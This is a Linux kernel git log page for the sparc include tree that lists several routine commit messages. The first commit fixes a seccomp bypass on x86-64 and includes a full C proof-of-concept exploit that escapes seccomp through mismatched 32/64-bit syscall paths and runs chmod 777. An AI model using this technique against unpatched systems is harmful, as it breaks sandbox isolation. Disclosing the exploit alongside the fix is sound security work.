kernel.git/arch/sparc/include, branch linux-2.6.28.y

x86-64: seccomp: fix 32/64 syscall hole

2009-03-17T00:32:21Z

commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream. On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include #include #include #include #include #include #include int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman

sparc: We need to implement arch_ptrace_stop().

2008-12-17T05:55:44Z

In order to always provide fully synchronized state to the debugger, we might need to do a synchronize_user_stack(). A pair of hooks, arch_ptrace_stop_needed() and arch_ptrace_stop(), exist to handle this kind of situation. It was created for the sake of IA64. Use them, to flush the kernel side cached register windows to the user stack, when necessary. Signed-off-by: David S. Miller

sparc: asm/bitops.h should define __fls

2008-12-04T00:04:52Z

bitops_64.h includes the generic one; pretty sure 32 should too. (Found by using __fls in generic code and breaking sparc defconfig build: thanks Stephen and linux-next!) Signed-off-by: Rusty Russell Signed-off-by: David S. Miller

remove __ARCH_WANT_COMPAT_SYS_PTRACE

2008-11-30T19:00:15Z

All architectures now use the generic compat_sys_ptrace, as should every new architecture that needs 32bit compat (if we'll ever get another). Remove the now superflous __ARCH_WANT_COMPAT_SYS_PTRACE define, and also kill a comment about __ARCH_SYS_PTRACE that was added after __ARCH_SYS_PTRACE was already gone. Signed-off-by: Christoph Hellwig Acked-by: David S. Miller Signed-off-by: Linus Torvalds

sparc64: wire up accept4()

2008-11-20T02:49:57Z

This adds the sparc syscall hookups. Signed-off-by: David S. Miller Cc: Ulrich Drepper Cc: Michael Kerrisk Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds

sparc: Fix tty compile warnings.

2008-11-13T07:51:54Z

This patch fixes tty compile warnings as sugested by Alan Cox: CC drivers/char/n_tty.o drivers/char/n_tty.c: In function normal_poll: drivers/char/n_tty.c:1555: warning: array subscript is above array bounds drivers/char/n_tty.c:1564: warning: array subscript is above array bounds drivers/char/n_tty.c: In function read_chan: drivers/char/n_tty.c:1269: warning: array subscript is above array bounds CC drivers/char/tty_ioctl.o drivers/char/tty_ioctl.c: In function set_termios: drivers/char/tty_ioctl.c:533: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:537: warning: array subscript is above array bounds drivers/char/tty_ioctl.c: In function tty_mode_ioctl: drivers/char/tty_ioctl.c:662: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:892: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:896: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:577: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:928: warning: array subscript is above array bounds drivers/char/tty_ioctl.c:934: warning: array subscript is above array bounds Signed-off-by: Robert Reif Signed-off-by: David S. Miller

sparc64: Kill annoying warning when building compat_binfmt_elf.o

2008-11-02T07:15:38Z

GCC warns because some tests against 32-bit values never evaluate to true due to how TASK_SIZE is defined. I always wanted to mimick powerpc's definition of TASK_SIZE, which is simply TASK_SIZE_OF(current) and that also fixes the warning. Signed-off-by: David S. Miller

sparc32: kernel/trace/trace.c wants DIE_OOPS

2008-11-02T04:44:01Z

Signed-off-by: Al Viro Signed-off-by: David S. Miller

sparc64: Fix __copy_{to,from}_user_inatomic defines.

2008-11-02T04:41:40Z

Alexander Beregalov reports oops in __bzero() called from copy_from_user_fixup() called from iov_iter_copy_from_user_atomic(), when running dbench on tmpfs on sparc64: its __copy_from_user_inatomic and __copy_to_user_inatomic should be avoiding, not calling, the fixups. Signed-off-by: Hugh Dickins Signed-off-by: David S. Miller

sparc: use the new byteorder headers

2008-10-29T22:36:00Z

Signed-off-by: Harvey Harrison Signed-off-by: David S. Miller